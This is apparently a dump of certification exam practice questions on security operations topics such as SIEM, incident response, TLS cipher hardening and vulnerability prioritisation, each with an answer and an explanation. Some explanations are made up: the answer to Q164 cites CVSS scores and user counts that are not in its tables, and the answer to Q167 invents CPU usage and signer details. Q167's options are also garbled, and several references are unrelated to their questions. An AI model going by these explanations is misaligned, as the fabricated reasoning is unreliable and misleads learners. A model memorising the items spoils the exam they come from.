An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for

HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.

NEW QUESTION 141

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

- A. Data enrichment
- B. Security control plane
- C. Threat feed combination
- D. Single pane of glass

Answer: D

Explanation:

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

NEW QUESTION 142

Which of the following would an organization use to develop a business continuity plan?

- A. A diagram of all systems and interdependent applications
- B. A repository for all the software used by the organization
- C. A prioritized list of critical systems defined by executive leadership
- D. A configuration management database in print at an off-site location

Answer: C

Explanation:

A prioritized list of critical systems defined by executive leadership is the best option to use to develop a business continuity plan. A business continuity plan (BCP) is a system of prevention and recovery from potential threats to a company. The plan ensures that personnel and assets are protected and are able to function quickly in the event of a disaster¹. A BCP should include a business impact analysis, which identifies the critical systems and processes that are essential for the continuity of the business operations, and the potential impacts of their disruption². The executive leadership should be involved in defining the critical systems and their priorities, as they have the strategic vision and authority to make decisions that affect the whole organization³. A diagram of all systems and interdependent applications, a repository for all the software used by the organization, and a configuration management database in print at an off-site location are all useful tools for documenting and managing the IT infrastructure, but they are not sufficient to develop a comprehensive BCP that covers all aspects of the business continuity⁴. References: What Is a Business Continuity Plan (BCP), and How Does It Work?, Business continuity plan (BCP) in 8 steps, with templates, Business continuity planning | Business Queensland, Understanding the Essentials of a Business Continuity Plan

NEW QUESTION 143

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

- A. Mean time to detect
- B. Number of exploits by tactic
- C. Alert volume
- D. Quantity of intrusion attempts

Answer: A

Explanation:

Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a security incident or threat from the time it occurs. MTTD can be improved by using tools and processes that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

NEW QUESTION 145

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

- A. MOU
- B. NDA
- C. BIA
- D. SLA

Answer: D

Explanation:

SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the customer receives the service that meets their needs and requirements. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

NEW QUESTION 147

An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

- A. Blocklisting
- B. Allowlisting
- C. Graylisting
- D. Webhooks

Answer: B

Explanation:

The correct answer is B. Allowlisting.

Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers¹².

The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting © is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software integration.

NEW QUESTION 150

While a security analyst for an organization was reviewing logs from web servers, the analyst found several successful attempts to downgrade HTTPS sessions to use cipher modes of operation susceptible to padding oracle attacks. Which of the following combinations of configuration changes should the organization make to remediate this issue? (Select two).

- A. Configure the server to prefer TLS 1.3.
- B. Remove cipher suites that use CBC.
- C. Configure the server to prefer ephemeral modes for key exchange.
- D. Require client browsers to present a user certificate for mutual authentication.
- E. Configure the server to require HSTS.
- F. Remove cipher suites that use GCM.

Answer: AB

Explanation:

The correct answer is A. Configure the server to prefer TLS 1.3 and B. Remove cipher suites that use CBC.

A padding oracle attack is a type of attack that exploits the padding validation of a cryptographic message to decrypt the ciphertext without knowing the key. A padding oracle is a system that responds to queries about whether a message has a valid padding or not, such as a web server that returns different error messages for invalid padding or invalid MAC. A padding oracle attack can be applied to the CBC mode of operation, where the attacker can manipulate the ciphertext blocks and use the oracle's responses to recover the plaintext¹².

To remediate this issue, the organization should make the following configuration changes:

? Configure the server to prefer TLS 1.3. TLS 1.3 is the latest version of the Transport Layer Security protocol, which provides secure communication between clients and servers. TLS 1.3 has several security improvements over previous versions, such as:

? Remove cipher suites that use CBC. Cipher suites are combinations of cryptographic algorithms that specify how TLS connections are secured. Cipher suites that use CBC mode are vulnerable to padding oracle attacks, as well as other attacks such as BEAST and Lucky 13. Therefore, they should be removed from the server's configuration and replaced with cipher suites that use more secure modes of operation, such as GCM or CCM⁷⁸.

The other options are not effective or necessary to remediate this issue.

Option C is not effective because configuring the server to prefer ephemeral modes for key exchange does not prevent padding oracle attacks. Ephemeral modes for key exchange are methods that generate temporary and random keys for each session, such as Diffie-Hellman or Elliptic Curve Diffie-Hellman. Ephemeral modes provide forward secrecy, which means that compromising the long-term keys does not affect the security of past sessions. However, ephemeral modes do not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the key exchange⁹.

Option D is not necessary because requiring client browsers to present a user certificate for mutual authentication does not prevent padding oracle attacks. Mutual authentication is a process that verifies the identity of both parties in a communication, such as using certificates or passwords. Mutual authentication enhances security by preventing impersonation or spoofing attacks. However, mutual authentication does not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the authentication.

Option E is not necessary because configuring the server to require HSTS does not prevent padding oracle attacks. HSTS stands for HTTP Strict Transport Security and it is a mechanism that forces browsers to use HTTPS connections instead of HTTP connections when communicating with a web server. HSTS enhances security by preventing downgrade or man-in-the-middle attacks that try to intercept or modify HTTP traffic. However, HSTS does not protect against padding oracle attacks, which exploit the padding validation of HTTPS traffic rather than the protocol.

Option F is not effective because removing cipher suites that use GCM does not prevent padding oracle attacks. GCM stands for Galois/Counter Mode and it is a mode of operation that provides both encryption and authentication for block ciphers, such as AES. GCM is more secure and efficient than CBC mode, as it prevents various types of attacks, such as padding oracle, BEAST, Lucky 13, and IV reuse attacks. Therefore, removing cipher suites that use GCM would reduce security rather than enhance it .

References:

- ? 1 Padding oracle attack - Wikipedia
- ? 2 flast101/padding-oracle-attack-explained - GitHub
- ? 3 A Cryptographic Analysis of the TLS 1.3 Handshake Protocol | Journal of Cryptology
- ? 4 Which block cipher mode of operation does TLS 1.3 use? - Cryptography Stack Exchange
- ? 5 The Essentials of Using an Ephemeral Key Under TLS 1.3
- ? 6 Guidelines for the Selection, Configuration, and Use of ... - NIST
- ? 7 CBC decryption vulnerability - .NET | Microsoft Learn
- ? 8 The Padding Oracle Attack | Robert Heaton
- ? 9 What is Ephemeral Diffie-Hellman? | Cloudflare
- ? [10] What is Mutual TLS? How mTLS Authentication Works | Cloudflare
- ? [11] What is HSTS? HTTP Strict Transport Security Explained | Cloudflare
- ? [12] Galois/Counter Mode - Wikipedia
- ? [13] AES-GCM and its IV/nonce value - Cryptography Stack Exchange

NEW QUESTION 154

A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that crypto mining is occurring. Which of the following indicators would most likely lead the team to this conclusion?

- A. High GPU utilization
- B. Bandwidth consumption
- C. Unauthorized changes
- D. Unusual traffic spikes

Answer: A

Explanation:

High GPU utilization is the most likely indicator that cryptomining is occurring, as it reflects the intensive computational work that is required to solve the complex mathematical problems involved in mining cryptocurrencies. Cryptomining is the process of generating new units of a cryptocurrency by using computing power to verify transactions and create new blocks on the blockchain. Cryptomining can be done legitimately by individuals or groups who participate in a mining pool and share the rewards, or illegitimately by threat actors who use malware or scripts to hijack the computing resources of unsuspecting victims and use them for their own benefit. This practice is called cryptojacking, and it can cause performance degradation, increased power consumption, and security risks for the affected systems. Cryptomining typically relies on the GPU (graphics processing unit) rather than the CPU (central processing unit), as the GPU is better suited for parallel processing and can handle more calculations per second. Therefore, a high GPU utilization rate can be a sign that cryptomining is taking place on a system, especially if there is no other explanation for the increased workload. The other options are not as indicative of cryptomining as high GPU utilization, as they can have other causes or explanations. Bandwidth consumption can be affected by many factors, such as network traffic, streaming services, downloads, or updates. It is not directly related to cryptomining, which does not require a lot of bandwidth to communicate with the mining pool or the blockchain network. Unauthorized changes can be a result of many types of malware or cyberattacks, such as ransomware, spyware, or trojans. They are not specific to cryptomining, which does not necessarily alter any files or settings on the system, but rather uses its processing power. Unusual traffic spikes can also be caused by various factors, such as legitimate surges in demand, distributed denial-of-service attacks, or botnets. They are not indicative of cryptomining, which does not generate a lot of traffic or requests to or from the system.

NEW QUESTION 157

A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised. Which of the following steps should the administrator take next?

- A. Inform the internal incident response team.
- B. Follow the company's incident response plan.
- C. Review the lessons learned for the best approach.
- D. Determine when the access started.

Answer: B

Explanation:

An incident response plan is a set of predefined procedures and guidelines that an organization follows when faced with a security breach or attack. An incident response plan helps to ensure that the organization can quickly and effectively contain, analyze, eradicate, and recover from the incident, as well as prevent or minimize the damage and impact to the business operations, reputation, and customers. An incident response plan also defines the roles and responsibilities of the incident response team, the communication channels and protocols, the escalation and reporting procedures, and the tools and resources available for the incident response.

By following the company's incident response plan, the administrator can ensure that they are following the best practices and standards for handling a security incident, and that they are coordinating and collaborating with the relevant stakeholders and authorities. Following the company's incident response plan can also help to avoid or reduce any legal, regulatory, or contractual liabilities or penalties that may arise from the incident.

The other options are not as effective or appropriate as following the company's incident response plan. Informing the internal incident response team (A) is a good step, but it should be done according to the company's incident response plan, which may specify who, when, how, and what to report. Reviewing the lessons learned for the best approach (C) is a good step, but it should be done after the incident has been resolved and closed, not during the active response phase. Determining when the access started (D) is a good step, but it should be done as part of the analysis phase of the incident response plan, not before following the plan.

NEW QUESTION 159

A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?

- A. Running regular penetration tests to identify and address new vulnerabilities
- B. Conducting regular security awareness training of employees to prevent socialengineering attacks
- C. Deploying an additional layer of access controls to verify authorized individuals
- D. Implementing intrusion detection software to alert security teams of unauthorized access attempts

Answer: C

Explanation:

Deploying an additional layer of access controls to verify authorized individuals is the best compensating control for the authentication vulnerability that could bypass the primary control. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or a threat when the primary control is not sufficient or feasible. A compensating control should provide a similar or greater level of protection as the primary control, and should be closely related to the vulnerability or the threat it is addressing¹. In this case, the primary control is to restrict access to a sensitive database, and the vulnerability is an authentication bypass. Therefore, the best compensating control is to deploy an additional layer of access controls, such as multifactor authentication, role-based access control, or encryption, to verify the identity and the authorization of the individuals who are accessing the database. This way, the compensating control can prevent unauthorized access to the database, even if the primary control is bypassed²³. Running regular penetration tests, conducting regular security awareness training, and implementing intrusion detection software are all good security practices, but they are not compensating controls for the authentication vulnerability, as they do not provide a similar or greater level of protection as the primary control, and they are not closely related to the vulnerability or the threat they are addressing. References: Compensating Controls: An Impermanent Solution to an IT ... - Tripwire, What is Multifactor Authentication (MFA)? | Duo Security, Role-Based Access Control (RBAC) and Role-Based Security, [What is a Penetration Test and How Does It Work?]

NEW QUESTION 163

A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should be recommended for remediation of this application vulnerability?

- A. Implementing multifactor authentication on the server OS
- B. Hashing user passwords on the web application
- C. Performing input validation before allowing submission
- D. Segmenting the network between the users and the web server

Answer: C

Explanation:

Performing input validation before allowing submission is the best recommendation for remediation of this application vulnerability. Input validation is a technique that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the user credentials and other sensitive data from being compromised¹². References: Input Validation - OWASP, 4 Most Common Application Vulnerabilities and Possible Remediation

NEW QUESTION 164

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:

Vulnerability name	Description
inter.drop	Remote Code Execution (RCE)
slow.roll	Denial of Service (DoS)

System name	Vulnerability	Network segment
manning	slow.roll	internal
brees	inter.drop	internal
brady	inter.drop	external
rogers	slow.roll; inter.drop	isolated vlan

Which of the following should the security analyst prioritize for remediation?

- A. rogers
- B. brady
- C. breees
- D. manning

Answer: B

Explanation:

Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of $9 \times 0.8 = 7.2$, which is higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

NEW QUESTION 167

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the following host details are aggregated:

Task name	Target process	Number of hosts	Task user account
RtkAudUService64_BG	C:\Windows\System32\RtkAudUService64.exe	502	NT Authority\SYSTEM
BatteryGaugeMaintenance	%ProgramData%\Lenovo\Plugins\BGHelper.exe	410	NT Authority\SYSTEM
RtHVBg_PushButton	C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe	870	NT Authority\SYSTEM
UpdateService	C:\Users\sam\AppData\Roaming\Temp\taskhw.exe	1	PROD\sam

Which of the following actions should the hunter perform first based on the details above?

- A. Acquire a copy of taskhw.exe from the impacted host
- B. Scan the enterprise to identify other systems with taskhw.exe present
- C. Perform a public search for malware reports on taskhw.exe.
- D. Change the account that runs the -caskh
- E. exe scheduled task

Answer: C

Explanation:

The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard

path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process
- What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

NEW QUESTION 168

A company is implementing a vulnerability management program and moving from an on- premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

- A. The current scanners should be migrated to the cloud
- B. Cloud-specific misconfigurations may not be detected by the current scanners
- C. Existing vulnerability scanners cannot scan IaaS systems
- D. Vulnerability scans on cloud environments should be performed from the cloud

Answer: B

Explanation:

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider's APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud- specific misconfigurations may not be detected by the current scanners.

NEW QUESTION 172

When starting an investigation, which of the following must be done first?

- A. Notify law enforcement
- B. Secure the scene
- C. Seize all related evidence
- D. Interview the witnesses

Answer: B

Explanation:

The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.

NEW QUESTION 175

An organization discovered a data breach that resulted in PII being released to the public. During the lessons learned review, the panel identified discrepancies regarding who was responsible for external reporting, as well as the timing requirements. Which of the following actions would best address the reporting issue?

- A. Creating a playbook denoting specific SLAs and containment actions per incident type
- B. Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs
- C. Defining which security incidents require external notifications and incident reporting in addition to internal stakeholders
- D. Designating specific roles and responsibilities within the security team and stakeholders to streamline tasks

Answer: B

Explanation:

Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs is the best action to address the reporting issue. Reporting SLAs are service level agreements that specify the time frame and the format for notifying the relevant authorities and the affected individuals of a data breach. Reporting SLAs may vary depending on the type and severity of the breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal policies of the organization. By researching and documenting the reporting SLAs for different scenarios, the organization can ensure that it complies with the legal and ethical obligations of data breach notification, and avoid any penalties, fines, or lawsuits that may result from failing to report a breach in a timely and appropriate manner¹². References: When and how to report a breach: Data breach reporting best practices, Incident and Breach Management

NEW QUESTION 178

Security analysts review logs on multiple servers on a daily basis. Which of the following implementations will give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually?

- A. Deploy a database to aggregate the logging.
- B. Configure the servers to forward logs to a SIEM-
- C. Share the log directory on each server to allow local access,
- D. Automate the emailing of logs to the analysts.

Answer: B

Explanation:

The best implementation to give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually is B. Configure the servers to forward logs to a SIEM.

A SIEM (Security Information and Event Management) is a security solution that helps organizations detect, analyze, and respond to security threats before they disrupt business¹. SIEM tools collect, aggregate, and correlate log data from various sources across an organization's network, such as applications, devices, servers, and users. SIEM tools also provide real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks²³⁴⁵.

By configuring the servers to forward logs to a SIEM, the security analysts can have a central view of potential threats and monitor security incidents across the corporate environment without logging in to the servers individually. This can save time, improve efficiency, and enhance security posture²³⁴⁵.

Deploying a database to aggregate the logging (A) may not provide the same level of analysis, correlation, and alerting as a SIEM tool. Sharing the log directory on

each server to allow local access © may not be scalable or secure for a large number of servers. Automating the emailing of logs to the analysts (D) may not be timely or effective for real-time threat detection and response. Therefore, B is the best option among the choices given.

NEW QUESTION 182

After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have constant issues. Which of the following did the change management team fail to do?

- A. Implementation
- B. Testing
- C. Rollback
- D. Validation

Answer: B

Explanation:

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them, CompTIA CySA+ CS0-003 Certification Study Guide

NEW QUESTION 185

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?

- A. Any discovered vulnerabilities will not be remediated.
- B. An outage of machinery would cost the organization money.
- C. Support will not be available for the critical machinery
- D. There are no compensating controls in place for the OS.

Answer: A

Explanation:

A security analyst's concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst's role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

NEW QUESTION 188

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